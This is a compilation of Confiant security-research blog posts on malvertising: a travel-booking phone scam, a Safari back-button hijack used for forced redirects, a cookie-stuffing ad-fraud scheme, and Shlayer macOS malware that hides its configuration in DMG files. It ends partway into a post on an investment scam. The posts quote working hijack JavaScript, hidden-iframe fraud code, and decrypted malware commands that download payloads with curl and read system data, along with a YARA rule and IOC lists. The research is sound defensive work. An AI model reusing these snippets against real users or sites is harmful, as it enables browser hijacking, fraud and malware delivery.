I’m coming back the 10th.

3:18
What time you would like to leave out?

3:22
eight a.m. Yes, you want a nonstop flight or with one stop?

3:35
It doesn’t matter.

3:38
Okay Give Me one min.

3:47
Sure give me one answer.

3:51
The flight I have which leaves 7 42 AM.

3:59
Give Me one min Please.

4:14
Yeah, the flight would leave 7 42 AM arrives 1 25 PM one stop in Denver for one hour.

4:21
14 minutes.

4:23
Okay and coming back From Portland you leave 1251 pm and arrive 11 29 PM with one stop in Denver for one hour, 29 minutes.

4:42
Okay.

4:42
Sounds good.

4:46
Yeah, you want to fly an economy?

4:51
Yes.

4:54
All economy plus economy is fine.

4:59
Okay.

5:04
The cost for the flight would be $817.48.

5:17
Alright.

5:28
Can you please give me the name of the?

5:31
Yes.

5:32
where would you please remind me what your website address is?

5:36
I think I got you on Google Search.

5:41
I’m sorry.

5:42
Would you please remind me the address, the url of your website?

5:47
What’s the address?

5:48
I don’t remember.

5:49
I found you on Google Search.

5:51
I think you can call him 800 to 12 to one 1212.

6:09
Okay.

6:11
So that’s your phone number?

6:14
Yes.

6:15
Okay.

6:16
And the website, the website.

When pressed to repeat their phone, they simply decided to impersonate Delta Airlines’ phone: 1-800–221–1212. The website was never revealed.

At approximately $1.39 per conversion, the scammers manage to reach an average of 55k victims per month through Google Search. While not the cheapest scheme we’ve seen, it is still a highly effective method to gain authority over the keyword “reservation” in ads and entice travelers tripping on their hotel choices.

Sitting more than 9,000 miles away from the United States, a group of shady agents in India is ready to book you, not in hotels in Florida or flights to Colorado, but in a nightmare of fraudulent charges. Contrary to my previous belief, scale on the internet not only provides convenience for attackers but also for victims. The call-to-action in every ad and the redirects to phone URLs are telltale signs. For anxious travelers, a bad trip is just a phone call away.

IOCs

As the cybersecurity leader in detecting and stopping Malvertising attacks, Confiant is leading the charge in protecting users from criminals who hijack the ad tech supply chain. Confiant has unparalleled visibility and insight into the malware, scams, and fraud serving through digital ads.

Find out more at https://www.confiant.com, https://matrix.confiant.com, or MAQ Index Report.

Malvertiser “D-Shortiez” abuses WebKit back button hijack in forced-redirect campaign

Confiant — Wed, 08 Feb 2023 22:06:00 GMT

Over the last few years, as AdTech and browser security has continued to mature, many malvertisers have moved on from forced redirect campaigns that target premium publishers and top-tier advertising platforms. The ones that are left, however, typically have little tricks that they employ in order to try and achieve some sort of positional advantage in order to optimize their impact and reach.

Today we are looking at part of a payload from a threat actor that we call D-Shortiez. A group that runs forced redirect campaigns that propel victims down familiar malicious click-chains which surface familiar scams like this:

The redirect payload itself consists mainly of largely unremarkable fingerprinting and tracking functions:

When we come across redirect campaigns like this, we like to pay extra attention to the actual redirect mechanics in order to see if anything weird is going on.

Starting on line 211 we see a nested try/catch that attempts the actual forced redirection. This is all fairly standard as different browsers respond differently to different redirect attempts and the bad actors have learned that throwing the kitchen sink at it will maximize the chances of a successful redirection.

The part that made us pause and closely consider what’s happening here are these few lines:

        if (!!(window.top.history && window.top.history.pushState)) {
            window.top.history.pushState(null, null, ‘’);
            window.top.onpopstate = function(event) {
                window.top.location.href = redirectUrl+’back’;
            };

A description of the popstate event from MDN:

The popstate event of the Window interface is fired when the active history entry changes while the user navigates the session history. It changes the current history entry to that of the last page the user visited or, if history.pushState() has been used to add a history entry to the history stack, that history entry is used instead.

We staged our own payload for testing as follows and tried it on all the browsers with major marketshare:

redirectUrl = ‘http://google.com/search?q=’;
if (window.top.history && window.top.history.pushState) {
    window.top.history.pushState(null, null, ‘’);
    window.top.onpopstate = function (event) {
        window.top.location.href = redirectUrl + ‘back’;
    };
    let u1 = redirectUrl + ‘click’;
    window.top.document.body.addEventListener(’click’, function () { window.top.location.href = u1; }, true);
}

We found nothing unusual while testing this snippet in in almost every browser, but something stood out about Safari…

The script very effectively acts as a back button hijack, comparable to some browlock techniques that online scammers have leaned on over the years. Victims are lured to scams and the neutralized back button keeps them from being able to back out of the site.

Impact, Scope, & Targeting

Over the last 6 months, D-Shortiez have served over 300MM malicious ad impressions targeting primarily US audiences with a long tail that trickles down to Canada and Europe.

While activity has been fairly consistent since August, if we look at it on a trend line, we can see some very aggressive sustained bursts, and some breaks in between.

The platform predominantly targeted platform is iOS

Timeline

Sep. 29 — Reported to Apple

Jan. 23 — Addressed with this Safari security update: https://support.apple.com/en-us/HT213600

IOCs

*.v-hi.shop   
*.f-dk.shop  
*.m-fl.shop  
*.b-qv.shop  
*.g-jm.online
*.y-b.online 
*.m-k.homes  
*.p-a.homes  
*.c-b.beauty 
*.q-j.online 
*.d-y.online 
*.v-i.online 
*.k-bd.online
*.s-o.fun    
*.t-n.beauty 
*.v-mh.online
*.a-p.pics   
*.f-f.site   
*.c-b.site   
*.a-f.site   
*.o-b.site   
*.d-f.site   
*.q-h.site   
*.v-n.homes  
*.s-t.website
*.e-g.store  
*.k-g.site   
*.t-i.site   
*.h-k.site   
*.y-m.site   
*.g-c.homes  
*.v-k.site   
*.k-u.site   
*.g-j.site   
*.o-b.shop   
*.v-g.skin   
*.c-g.site   
*.e-t.site   
*.a-z.skin   
*.a-o.homes  
*.v-t.homes  
*.f-p.homes  
*.e-h.homes  
*.j-h.beauty 
*.a-b.beauty 
*.b-c.beauty 
*.f-t.beauty 
*.r-j.pics   
*.w-h.pics   
*.g-e.pics   
*.y-j.pics   
*.n-s.store  
*.w-t.homes  
*.x-y.store  
*.k-j.homes  
*.f-t.skin   
*.j-d.boats  
*.t-y.website
*.s-w.fun    
*.g-o.homes  
*.s-g.boats  
*.n-y.skin   
*.x-u.homes  
*.t-o.beauty 
*.v-e.boats  
*.u-c.cyou   
*.o-b.homes  
*.s-a.homes  
*.s-h.homes  
*.e-p.autos  
*.g-p.pics   
*.q-c.homes  
*.r-k.group  
*.f-o.boats  
*.s-p.autos  
*.t-g.skin   
*.g-j.skin   
*.v-e.cyou   
*.e-q.boats  
*.v-e.homes  
*.c-f.beauty 
*.e-v.boats  
*.a-b.pics   
*.c-c.autos  
*.b-f.beauty 
*.a-o.beauty 
*.e-z.homes  
*.c-d.homes  
*.f-b.boats  
*.c-t.beauty 
*.f-q.autos  
*.c-b.skin   
*.d-e.boats  
*.s-f.homes  
*.a-e.beauty 
*.b-s.boats  
*.d-g.autos  
*.c-a.boats  
*.c-a.cyou

Malvertiser Makes the Big Bucks on Black Friday

Confiant — Fri, 20 Jan 2023 18:32:00 GMT

The DatalyMedia Cookie Dragon (source: MidJourney)

Confiant’s broad coverage in ad tech gives us visibility on some of the darkest corners of the ecosystem. We are strong believers that to truly fight malvertisers, we have to understand their motives. Sometimes this brings us to researching some long standing and large scale (but neglected) attacks. While ad fraud is not normally our core focus at Confiant, we are always invested in exposing how threat actors use the programmatic process and ad networks for malicious purposes. Confiant has observed a cookie stuffing campaign running across multiple programmatic ad platforms with a specific uptick in Q4 around Black Friday. We refer to the actor behind this campaign as DatalyMedia, based on one of the legal entities they operate.

What is cookie stuffing?

Cookie stuffing is a form of ad fraud where the malicious campaign triggers arbitrary numbers of invalid ad conversions by generating fake clicks. Cookie stuffing can target cost-per-click (CPC) ad campaigns and various types of cost-per-lead (CPL) and cost-per-action (CPA) campaigns. Cookie stuffing is a source of invalid traffic (IVT) i.e.: ad fraud.

The common way to generate these fake clicks is to surreptitiously load click URLs in hidden iframes inside the ad as it renders.

Risks of cookie stuffing

For advertisers: Cookie stuffing skews targeted data and degrades campaign performance

For publishers: Cookie stuffing causes significant page latency due to massive network load when advertising landing pages load in hidden iframes

For both:
• Lack of user consent for the rogue tracking / privacy compliance violations create liabilities
• Fake conversions from cookie stuffing steal money from the ad ecosystem

According to our internal data, DatalyMedia has been specializing in affiliate marketing fraud (by executing cookie stuffing schemes) since at least 2015. Much of the infrastructure, tactics and techniques employed have remained rather stable over time.

We have identified four legal entities who have been involved in the DatalyMedia cookie stuffing scheme:
• Just Media Group (fka JustClick Media)
• Dataly Media
• Eficads
• Tredia Solutions

In addition to the techniques presented below, DatalyMedia has been observed using various tactics to maintain its presence in the ad tech ecosystem:
• Creating many ad serving domains — over a hundred since inception. A full list of IOCs is presented in the appendix.
• Partnering with many ad platforms: DatalyMedia has been active on at least 4 different advertising demand side platforms (DSPs) in 2022.
• Inquiring to ad security vendors about the status of their domains claiming legitimate needs

Technical Analysis / Cloaking

To circumvent detection, DatalyMedia leverages cloaking.

Script Execution Flow

The script that DatalyMedia executes has a cloaking component that conditionally loads one or multiple hidden iframes.

GET 
https://dugqz5bb8j.execute-api.eu-west-2.amazonaws.com/t/get/
RVKTdRpig1AgtgNXoDRQd46L?mmid=1&siteId=276777&referrer=https://
www.google.com/&exchange=cas&siteUrl=www.voici.fr&strategy=12607048&
campaignId=1245138&creativeId=8521972&rn=4048973770536923350

If the cloaking test is not passed successfully, the iframe is replaced with an empty image:

if(document.getElementById(”RVKTdRpig1AgtgNXoDRQd46L”)) 
document.getElementById(”RVKTdRpig1AgtgNXoDRQd46L”)
.insertAdjacentHTML(’beforeend’, 
‘<img src=”data:image/gif;base64,R0lGODlhAQABAIAAAP///
wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==” style=”position: relative; 
top: 0; left: 0;”>’);

When cloaking is passed, the iframe URL then redirects to a secondary domain (theblueaffiliate.net), itself equipped with similar cloaking (likely to prevent third-parties from replaying the chain without knowledge of the targeting details):

if(document.getElementById(”RVKTdRpig1AgtgNXoDRQd46L”)) 
document.getElementById(”RVKTdRpig1AgtgNXoDRQd46L” )
.insertAdjacentHTML(’beforeend’, 
‘<iframe src=”https://dugqz5bb8j.execute-api.eu-west-2.amazonaws.com/
t/trk/RVKTdRpig1AgtgNXoDRQd46L/?c2=true&campaignId=1245138&
creativeId=8521972&exchange=cas&mmid=1&
referrer=https%3A%2F%2Fwww.google.com%2F&rn=4048973770536923350&
siteId=276777&siteUrl=www.voici.fr&strategy=12607048” width=”0” height=”0” 
scrolling=”no” frameborder=”0” framespacing=”0” 
sandbox=”allow-scripts allow-forms allow-pointer-lock allow-same-origin” 
style=”position: relative; top: 0; left: 0;”>’);

Script Execution Output

We see how the HTML is rendered for each instance.

GET 
https://lnk.theblueaffiliate.net/trk/RVKTdRpig1AgtgNXoDRQd46L?
c2=true&campaignId=1245138&creativeId=8521972&exchange=cas&mmid=1&
referrer=https://www.google.com/&rn=4048973770536923350&siteId=276777&
siteUrl=www.voici.fr&strategy=12607048

Cloaking not passed, an empty image is loaded:

Cloaking passed:

If cloaking passes, the script at https://lnk.theblueaffiliate.net/js/c.js waits 5 seconds (another precaution to avoid detection) then loads the URLs provided in the data-val parameter inside iframes. This causes the advertiser URLs to load as if the user had clicked it along with DatalyMedia’s click tracker (perf.af.datatechads.com). For example:

https://perf.af.datatechads.com/ts/i5047728/tsc?typ=r&
amc=aff.eficads.373016.506668.CRT3CYjXlY2&smc1=636ebe2d0817d25eae5611ae-RL-
259754&smc5=lnk.thebigadsstore.com%2Fref%2Fwww.tudn.mx%2F

https://www.elektra.mx/colchones%20matrimoniales%20spring%20air?
_q=colchones%20matrimoniales%20spring%20air&map=ft?
cmpid=Afiliados:Eficads:DescuentosM%C3%A1ximosMensuales:Performance:
DisplayAd:EKT-HOG-COL::Na-Cluster&utm_source=Afiliados&
utm_medium=Eficads&utm_campaign=Descuentos-M%C3%A1ximos-Mensuales__&
utm_term=DisplayAd&utm_source=Afiliados&utm_medium=Eficads&
utm_campaign=Descuentos-M%C3%A1ximos-Mensuales__&utm_term=DisplayAd

Elektra’s whole website is now loading as a hidden iframe in the ad, conversion trackers and all.

Laundering via network of fake sites

DatalyMedia’s trip to the cleaners

The Players

+---------------------+---------------------------------------------------+
| Publisher A         | One of the numerous publishers serving            |
|                     | programmatic ads and exposed to DatalyMedia’s     |
|                     | cookie stuffing scheme                            |
+---------------------+---------------------------------------------------+
| Brand X             | One of the numerous brands running performance    |
|                     | marketing campaigns via DatalyMedia (directly     |
|                     | or indirectly)                                    |
+---------------------+---------------------------------------------------+
| Bad Publisher B     | One of the numerous publishers operated by        |
|                     | DatalyMedia to launder fake conversions           |
+---------------------+---------------------------------------------------+
| Publisher C         | One of the numerous publishers serving native ads |
|                     | and unwittingly reating legitimate traffic for    |
|                     | DatalyMedia’s Bad Publisher B and others          |
+---------------------+---------------------------------------------------+
| Affiliate Network D | An affiliate network incorrectly attributing      |
|                     | conversions to Bad Publisher B. DatalyMedia       |
|                     | DatalyMedia leveraged both third-party networks   |
|                     | as well as their own.                             |
+---------------------+---------------------------------------------------+

DatalyMedia creates two traffic paths, a “dirty” one (committing fraud) and a “clean” one, with legitimate traffic used for laundering the dirty one.

In the dirty path, DatalyMedia serves display advertisements (programmatic ads render on Publisher A’s website above). These ads use cloaking to hide the cookie stuffing scheme: Full execution of click tracking URLs in an invisible iframe.

Incidentally, the brand represented in the ad creative here is unrelated to the abused brand in the cookie stuffing scheme. E.g. Tommy Hilfiger:

https://d2p7g6leq64sfi.cloudfront.net/jcm-mm/e9701276d35212521e9e71ac18a8cb88.jpeg

The scheme gets complicated by the use of an intermediary website (Bad Publisher B), which serves to make the conversions look legitimate to the defrauded affiliate networks and brands.

The “dirty” path uses a POST HTTP request to Bad Publisher B while the “clean” path uses a GET request. Let’s review the execution of both paths with an example.

Bad Publisher B as open redirector via POST request

POST  https://www.thetop3.com/uk/top-3-unique-gifts-for-your-soulmate/

POST parameters

+------------+-------------------------------------------------+
| go         | 1                                               |
+------------+-------------------------------------------------+
| url        | www.linkbux.com%2Ftrack%2Fe266uWOnCOlkX6woQD    |
|            | CFs3dUTD57c2EajL_aOE9LBtEaNMDXGGuaAd0iCEANyHpwo |
|            | d2qxgTOd3maDVlg_c%3Furl%3Dhttps%253A%252F%252F  |
|            | beautyworksonline.com%252F%26uid%3D63523bd1767  |
|            | 55c47d5ce7d9f-RL-246703                         |
+------------+-------------------------------------------------+
| log        | false                                           |
+------------+-------------------------------------------------+
| type       |                                                 |
+------------+-------------------------------------------------+
| linkId     | 246703                                          |
+------------+-------------------------------------------------+
| clickId    | 63523bd176755c47d5ce7d9f                        |
+-----------+--------------------------------------------------+

Response content:

Redirect chain (still hidden inside invisible iframe):

https://www.linkbux.com/track/e266uWOnCOlkX6woQDCFs3dUTD57c2EajL_aOE9LBtEaNMDXGGuaAd0iCEANyHpwod2qxgTOd3maDVlg_c?url=https%3A%2F%2Fbeautyworksonline.com%2F&uid=63523bd176755c47d5ce7d9f-RL-246703

https://beautyworksonline.com/en_US

Bad Publisher B on click via GET request

GET  https://www.thetop3.com/uk/top-3-unique-gifts-for-your-soulmate/

It’s a trap!

On Click redirect chain:

https://link.thetop3.com/offer/TFgCEu2AtbzRxfAe4QaQKq8B

https://www.linkbux.com/track/e266uWOnCOlkX6woQDCFs3dUTD57c2EajL_aOE9LBtEaNMDXGGuaAd0iCEANyHpwod2qxgTOd3maDVlg_c?url=https%3A%2F%2Fbeautyworksonline.com%2F&uid=63835d5c2ed6d1470b4d899d

https://beautyworksonline.com/en_US

The “clean” path uses native ad networks to create traffic in the style of ad-driven content websites (often called “made for advertising” sites or MFA) but the real purpose here is not to generate ad revenue but to create an audience to support the amount of conversions driven by the “dirty” path.

Traffic generated from the “dirty” path is indistinguishable from the traffic in the “clean” path.

Altogether, we are dealing with a well-oiled traffic laundering machine, effective at generating significant ad fraud revenue.

Privacy compliance

Because landing pages are loaded wholesale in iframes, all the tracking pixels associated with them load in the context of the publisher page. This is the intended behavior for the fraudster.

Critically, this rogue tracking is not covered by consent management platforms (for obvious reasons — the malicious code is cloaked by the cookie stuffer). In our diagram above, Publisher A ends up being liable for the tracking pixels served by Brand X without any user consent.

DatalyMedia and GDPR Compliance

+-----------------+-----------------+--------------+
| Country         | % of volumes    | GDPR Applies |
+-----------------+-----------------+--------------+
| Australia       | 22%             | No           |
+-----------------+-----------------+--------------+
| Italy           | 15%             | Yes          |
+-----------------+-----------------+--------------+
| Great Britain   | 13%             | Yes          |
+-----------------+-----------------+--------------+
| Sweden          | 13%             | Yes          |
+-----------------+-----------------+--------------+
| Norway          | 8%              | Yes          |
+-----------------+-----------------+--------------+
| Belgium         | 8%              | Yes          |
+-----------------+-----------------+--------------+
| Finland         | 7%              | Yes          |
+-----------------+-----------------+--------------+
| Netherlands     | 5%              | Yes          |
+-----------------+-----------------+--------------+
| Germany         | 5%              | Yes          |
+-----------------+-----------------+--------------+
| Spain           | 1%              | Yes          |
+-----------------+-----------------+--------------+
| France          | 1%              | Yes          |
+-----------------+-----------------+--------------+
| Poland          | 1%              | Yes          |
+-----------------+-----------------+--------------+
| United States   | 1%              | No           |
+-----------------+-----------------+--------------+
| Other           | 1%              | No           |
+-----------------+-----------------+--------------+

Confiant data shows that 76% of cookie stuffing ads served by DatalyMedia in 2022 were targeting European countries (where the GDPR applies).

In an example presented below and reproduced in the Netherlands, although the user granted consent to all declared vendors (according to the corresponding TCF consent string we analyzed), DatalyMedia initiated a hidden ad call to TradeTracker (an affiliate network) which dropped a tracking cookie. Since TradeTracker is not registered as a vendor under TCF, it did not obtain consent from the user and was not permitted to collect personal information.

Example of GDPR violation in the Netherlands, on December 10, 2022

Ironically, DatalyMedia is registered in the TCF Global Vendor List (GVL) under “Tredia Solutions” with only a handful of known DatalyMedia domains declared in their device storage disclosure (at https://www.tredia.media/deviceStorageDisclosure.json). A long list of domains remains undeclared (see indicators in Appendix).

Cookie stuffing is inherently hostile to privacy rights and this registration only creates an appearance of compliance. While the IAB Europe (the organization that manages TCF) thanked us for reporting the issue, they have not communicated any outcome resulting from this research.

Volumes

By extrapolating internal Confiant data, we estimate that DatalyMedia served approximately 125 million display ad impressions in 2022.

DatalyMedia has had a highly seasonal activity over 2022, with 3 major periods of activity: Winter, Summer and Fall, and an all-time peak on Black Friday — November 25, with a volume of over 9x their daily 2022 average. This is hardly surprising, as DatalyMedia is inherently a performance marketing shop.

Conclusion

Cookie stuffing (and more broadly pixel stuffing) sits at the intersection of different interests and focuses: malvertising, ad traffic misrepresentation, affiliate marketing fraud. The lack of industry focus on this issue has allowed these fraudsters to thrive — specifically in the case of DatalyMedia for a mind-blowing 8 years. More broadly, cookie/pixel stuffing continues to be a large money maker for Adware/malware campaigns.

About Confiant

Confiant is the cybersecurity industry-leader for ad tech — specializing in detecting and stopping online attacks as they happen. Since 2013, our mission has been to protect online users and organizations of all sizes. Our platform oversees trillions of ad transactions and detects millions of malicious events, every month.

Appendix A

Indicators of Compromise

L’art de l’évasion: How Shlayer hides its configuration inside Apple proprietary DMG files

Confiant — Fri, 23 Dec 2022 18:40:00 GMT

image generated using OpenAI DALL·E models

Originally written by Taha Karim

Intro

While conducting routine threat hunting for macOS malware on Ad networks, I stumbled upon an unusual Shlayer sample. Upon further analysis, it became clear that this variant was different from the known Shlayer variants such as OSX/Shlayer.D, OSX/Shlayer.E, or ZShlayer. We have dubbed it OSX/Shlayer.F.

I then started tracking this OSX/Shlayer.F variant and checked to see if other vendors had encountered or written about it. It turns out that this variant had been reported on in previous blog posts:

26th April 2021 by Jamf, here
19th July 2021 by CrowdStrike, here

I wanted to revisit the OSX/Shlayer.F variant of the Shlayer malware to report on a technique that has not previously been seen in other macOS malware for hiding Command and Control (C2) information. This variant encrypts its configuration using AES within the DMG file header structure, resulting in a modified DMG file. The modification is cleverly crafted and does not cause the DMG file to become corrupted or malfunction. In fact, the macOS operating system is able to mount these modified DMG files and load them as usual.

Modified DMG files have been used by malware in the past, such as in the CIA’s Imperial project, which included a tool called Achilles that allowed operators to trojanize OS X disk image installers (DMG files) with a specified executable for one-time execution. This recent finding of the Shlayer malware hiding its configuration within DMG files brings to mind the potential for mac malware authors to use this technique more aggressively in the future, potentially for hiding essential components of their malware.

Some Shlayer thoughts before we dive in

Shlayer is a very primitive piece of malware, but had different modifications including this variant Trojan-Downloader.OSX.Shlayer.e reported by Kaspersky back in Jan 2020 as it is written in Python instead of bash.

Most of Shlayer has a bash script form like this variant OSX/Shlayer.D that I reported on back in 2019 here and SentionelOne reported about ZShlayer in Septembre 2020, which is a variation of OSX/Shlayer.D that uses ZSH. There was also mach-O variant of Shlayer reported by UPTYCS here in July 2021, but no name was given to this variant specifically.

Shlayer has mainly been used as an installer/downloader, its main goal being to download adware like Bundlore (even though Bundlore can have its own installer as we reported here). But it can also download other Adware like the Cimpli installer as reported by Karspersky here, etc.

Let’s dive into DMG files and see how Shlayer was able to modify them.

So what is an Apple DMG file?

Jonathan Levin described the format very well here and I invite the readers to go read his post for a much complete DMG format description.

If you are a macOS user you have probably already encountered DMG files when you download software. For non-mac Users, a DMG file is a mountable disk image primarily used to distribute software to the macOS operating system. Mac users typically download the file from the Internet and then double-click it to install an application on their computer:

source: https://fileinfo.com/extension/dmg

In a nutshell a DMG file format is often represented like this :

Author: Jonathan Levin source: http://newosxbook.com/DMG.html

compressed image blocks (compression algorithm can vary)
followed by a XML property list (plist) : This property list contains the DMG block map table. it is technically the resource fork of the DMG.
followed by a 512-byte trailer at the end of the file. This trailer is identifiable by a magic 32-bit value, 0x6B6F6C79, which is “koly”. we will call it the “koly” block in this blog post.

Let’s pick a regular DMG file (not trojanized), let’s randomly check OSX/ZuRu that was fully analyzed by macOS security expert Patrick Wardle here. This malware was delivered via a trojanized Iterm2 app, but let’s focus on the DMG file:

e5126f74d430ff075d6f7edcae0c95b81a5e389bf47e4c742618a042f378a3fa

We can see a typical and non modified DMG file:

trailing koly block in an unmodified dmg file

We can say that the DMG file of this malware, is safe and not modified and everything looks normal.

Now let’s pick a modified DMG of a Shlayer malware and check the differences, and we can notice a blob of encrypted data was inserted between the plist file and the koli block (I blurred the blob hex bytes because as we will see later, the Shlayer config could contain identifiable victim information)

encrypted Shlayer data inserted between Koly Block and the Plist file

This will lead us to the next step, which is to reverse engineer this Shlayer variant, and find how we can decrypt this blob and probably write a standalone tool to automatically decrypt it.

Reversing OSX/Shlayer.F

We are going to run an analysis on the mach-O sample 0fe475cc5da11e1f3ca5e0bc81d5ee406bdf4b4c428ebdab35f4dad63c0b9093 that resulted from one of the modified DMG files.

The sample above is flagged by Confiant as OSX/Shlayer.F, and below is a YARA rule to detect this variant:

// by Confiant 
private rule Macho
{
    meta:
        description = “private rule to match Mach-O binaries”
    condition:
        uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
}
rule OSX/Shlayer.F
{
    meta:
        author = “taha@confiant.com”
        description = “variant F of shlayer using AES encrypted configuration embedded in the dmg”
    strings:
        $dmg_tag = “” ascii
        $s3 = “.s3” ascii
        $shlayer_conf1 = “lu”
        $shlayer_conf2 = “bdu”
        $shlayer_conf3 = “upb”
        $shlayer_conf4 = “du”
        $cccrypt = “_CCCrypt” ascii
    condition:
        Macho and $dmg_tag and $cccrypt and $s3 and any of ($shlayer_conf*)
}

String decryption as we saw in many of our previous blog posts is often enough to determine what the sample does in almost (if not all) MacOS Adware.

We have automated this string decryption process at scale for specific malware families including now OSX/Shlayer.F, and below is the output for this specific sample:

 encrypted string ref in function 0x1000073b0 decoded to : /tmp/
 encrypted string ref in function 0x100007b60 decoded to : %s/Contents/MacOS
 encrypted string ref in function 0x100008140 decoded to : %s %s > /dev/null 2>&1
 encrypted string ref in function 0x1000094b0 decoded to : echo ‘%s’ | tr -d ‘’ | openssl base64 -A -e 2>/dev/null | xargs | tr -d ‘’
 encrypted string ref in function 0x10000a0f0 decoded to : rm -rf %s > /dev/null 2>&1
 encrypted string ref in function 0x10000a1d0 decoded to : (cd %s; ls | head -n 1)
 encrypted string ref in function 0x10000a2d0 decoded to : for FILE in %s/*.app; do echo “${FILE}”; break; done;
 encrypted string ref in function 0x10000a3b0 decoded to : unzip -P %s %s -d %s > /dev/null 2>&1
 encrypted string ref in function 0x10000c7a0 decoded to : curl -f0L -o %s ‘%s’ > /dev/null 2>&1
 encrypted string ref in function 0x10000e160 decoded to : curl -L ‘%s’ > /dev/null 2>&1
 encrypted string ref in function 0x10001a690 decoded to : curl -L ‘%s’ 2>/dev/null
 encrypted string ref in function 0x10001b340 decoded to : sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* ‘select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like “%s3.amazonaws.com%” order by LSQuarantineTimeStamp desc limit 5’
 encrypted string ref in function 0x10001ff50 decoded to : hdiutil info -plist | perl -0777pe ‘s|\s*(.*?)\s*|$1|gs’ | plutil -convert json -r -o - -- -
 encrypted string ref in function 0x100020110 decoded to : Install.command
 encrypted string ref in function 0x1000201d0 decoded to : %s
 encrypted string ref in function 0x100020260 decoded to : /Volumes/Install
 encrypted string ref in function 0x100020320 decoded to : %s %i
 encrypted string ref in function 0x100020840 decoded to : for FILE in %s/.hidden/*.command; do echo “${FILE}”; break; done;
 encrypted string ref in function 0x100020970 decoded to : system_profiler SPHardwareDataType | awk ‘/UUID/ { print $3; }’
 encrypted string ref in function 0x100020a50 decoded to : defaults read /System/Library/CoreServices/SystemVersion.plist ProductVersion

Note the decrypted string that corresponds to commands, OSX/Shlayer.F executes them via popen() function.

Meanwhile, after reviewing the techniques I noticed the following :

Commands were introduced in this OSX/Shlayer.F variant consisting of querying QuarantineEventsV2 database; A variation of this technique was already seen in other malware like OSX/Bundlore as reported by UPTYCS here, but so far not in Shlayer. And mapping mounted volumes parsing out specific information.
I couldn’t find a C2 configuration in the decrypted strings, so we will have to find where this config was stored (see below)

As mentioned above, this variant OSX/Shlayer.F queries QuarantineEventsV2 as follows:

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* ‘select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like “%s3.amazonaws.com%” order by LSQuarantineTimeStamp desc limit 5’

The query consists of determining if the .DMG file was downloaded from an Amazon S3 bucket. This is inline with what we reported in a previous blog post, regarding Shlayer campaigns abusing Amazon S3 buckets.

I could also see this used as an anti-sandbox check, since sandbox analysis systems won’t have such entry in the LSQuarantineEvent table when submitting a sample for analysis.

Now back to the turning point, which is extracting the C2 configuration for this variant OSX/Shlayer.F. So how does the extraction works?

For that, we have a first hint in the following command that is executed by OSX/Shlayer.F variant:

hdiutil info -plist | perl -0777pe ‘s|\\s*(.*?)\\s*|$1|gs’ | plutil -convert json -r -o - -- -

When run, this command will list mounted images, and OSX/Shlayer.F will read the image-path value to get the path on disk to the parent DMG file mounted:

Shlayer.F locating the parent dmg file

Then the parent DMG is opened and read block by block, the tag is used to locate the encrypted data that sits between this tag and the koli block.

After reversing OSX/Shlayer.F and locating the config decrypting code _CCCrypt is used with kCCAlgorithmAES128 algorithm to decrypt this data, right after extracting the AES key and IV.

OSX/Shlayer.F C2 config blob decryption routine

The AES key and IV are extracted and are present at the beginning of the encrypted blob following this format:

The first 0x20 bytes corresponds to an AES key.
Followed by 0x10 bytes corresponding to the IV.
Followed by the c2 config encrypted data.

I wrote a standalone command line script to do the above:

https://gist.githubusercontent.com/tahaconfiant/d6d8746e56cbf0458358ed304a5118ac/raw/0e9c8bfb0a4bbf9c670c16f59cb378a0c1323e5d/shlayer_decrypt.py

If you don’t like command line scripts, my colleague

Eliya Stein

wrote a CyberChef recipe that can be used to decrypt OSX/Shlayer.F configs just by dragging and dropping DMG files, try it out!

Conclusion

After analyzing a public corpus of OSX/Shlayer.F present in online repositories, we found that in the config, the field du (corresponding to the final recorded download url and its specific parameters) sometimes a parameter client_ip was present with the victim IP address. This allowed us to draw a map of previous OSX/Shlayer.F infections during Q1-Q3 2022:

OSX/Shlayer.F victims & geography Q1-Q3 2022 — source Confiant

and allowed us to determine the infection % between home networks and enterprise networks during Q1-Q3 2022:

OSX/Shlayer.F infections per type of network Q1-Q3 2022 — source Confiant

Since its discovery in 2018, Shlayer has continued to pose a threat to the macOS platform. Over the years, we have seen various but limited modifications of Shlayer, with OSX/Shlayer.F representing a significant overhaul. It is likely that we will see further sophistication and ingenuity from the authors of this malware in the future.

This research highlights the importance of looking for modified or trojanized DMG files in larger sets of malware. I hope that it will inspire other researchers to take a deeper look at this issue, and I look forward to seeing the results of their findings.

if you like this post, make sure to follow me on twitter at Lordx64 and ConfiantIntel for our latest threat intelligence findings.

CashRewindo: How to age domains for an investment scam like fine scotch

Confiant — Mon, 28 Nov 2022 18:53:00 GMT

Originally written by Daniel Fonseca Yarochewsky

Years-old domains, compromised JS libraries and worldwide-localized content among tactics of this sophisticated attacker.

In Internet parlance, “old” has a much younger meaning — domains, virtual servers, image assets — everything is now or never. So much so that many security vendors rely heavily on what is called “domain reputation”, or the history a particular domain name has acquired over time on the Internet; a domain that is days old for a supposedly established online shop for example can raise concerns, while a 5-year-old digital presence works like a kosher staple.

Despite having extensively talked about investment scams for quite some time (here and here), we’d like to bring attention to this actor we’ve been tracking for almost two years now whose tactics are particular in ways we’ve never seen before; CashRewindo, first seen in 2018, distributes attacks all around the globe, smuggling malicious code in common JavaScript libraries and aging domains like fine scotch.

The ads

We already know of the two main components of a successful malvertising campaign — an effective creative and a cloaked landing page.

CashRewindo employs a creative strategy that consists of flipping between scam ads and innocuous wording, i.e. usually at the beginning of the campaign we’d see placeholder ads that don’t trigger strong language detection and only later do we start to observe actual call-to-action ads.

Here’s a precise example of creative flipping: the domain webprolix[.]com was observed in the UK with the fake ad, and a few hours later switched to targeting Poland with the scam creative.

webprolix[.]com; target: UK

webprolix[.]com; target: Poland

The Infrastructure

Apart from A/B-testing campaigns and in so doing abusing time-based creative verification systems, CashRewindo has yet another trick up its sleeves: domain aging.

Most of the IOCs we collected have domains that were registered two or three years ago, only to be activated, i.e. certificates updated and virtual server assigned, just in time for the campaigns. We speculate that either they buy these from reputation-building markets, or wait around for them to age, likely the former. Being outsourced or not, this technique is able to bypass security systems that classify registration timing as reputable.

The Specimen: thesellotto[.]com

Let’s now take a look at one sample from CashRewindo and dissect its operation.

